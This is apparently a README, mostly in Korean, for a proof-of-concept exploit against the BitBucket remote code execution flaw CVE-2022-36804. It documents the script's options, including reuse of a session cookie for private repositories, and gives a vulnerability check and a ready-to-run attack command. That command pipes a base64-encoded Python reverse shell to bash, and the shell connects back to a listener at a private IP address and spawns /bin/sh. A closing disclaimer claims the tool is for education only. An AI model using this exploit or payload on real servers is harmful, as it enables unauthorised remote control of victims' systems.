
A real exploit for BitBucket RCE CVE-2022-36804
이 저장소는 최근 BitBucket 원격 코드 실행 취약점 (CVE-2022-36804)에 대한 간단한 개념 증명 익스플로잇을 포함하고 있습니다. 이 취약점을 악용하려면 대상 인스턴스의 저장소에 접근할 수 있어야 하며, 자격 증명이 없으면 대상에 공개 저장소가 있어야 합니다.
usage: exploit.py [-h] -p PROJECT -r REPO -u URL [-c COMMAND] [--proxy PROXY] [--session SESSION]
[--check]
Exploits the CVE-2022-36804 RCE in vulnerable BitBucket instances (< v8.3.1)
optional arguments:
-h, --help show this help message and exit
-p PROJECT, --project PROJECT
The name of the project the public repository resides in (E.g.
testproject)
-r REPO, --repo REPO The name of the public repository (E.g. testrepo)
-u URL, --url URL The URL of the BitBucket server (E.g. http://localhost:7990/)
-c COMMAND, --command COMMAND
The command to execute on the server (E.g. 'curl http://canary.domain/')
--proxy PROXY HTTP proxy to use for debugging (E.g. http://localhost:8080/)
--session SESSION The value of your 'BITBUCKETSESSIONID' cookie, required if your target
repo is private. (E.g. 3DD8B1EBA3763AD2611F4940BD870865)
--check Only perform a check to see if the instance is vulnerable
인스턴스가 취약한지 확인하려면 다음 명령을 수행합니다
python3 exploit.py -p PROJECT -r REPO -u http://target.site/ --check
다음 명령은 피해자 시스템에 리버스 셸을 설정하는 데 사용됩니다 (base64 페이로드는 리스너 세부 정보로 업데이트해야 합니다)
python3 exploit.py -p PROJECT -r REPO -u http://localhost:7990/ -c "echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC42Ny4zIiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cHR5LnNwYXduKCIvYmluL3NoIikn' | base64 -d | bash |"
이 익스플로잇은 교육/연구 목적으로만 제공되며, 사용자가 이를 어떻게 사용하는지에 대해 저는 책임지지 않습니다. 좋게 사용해주세요 :)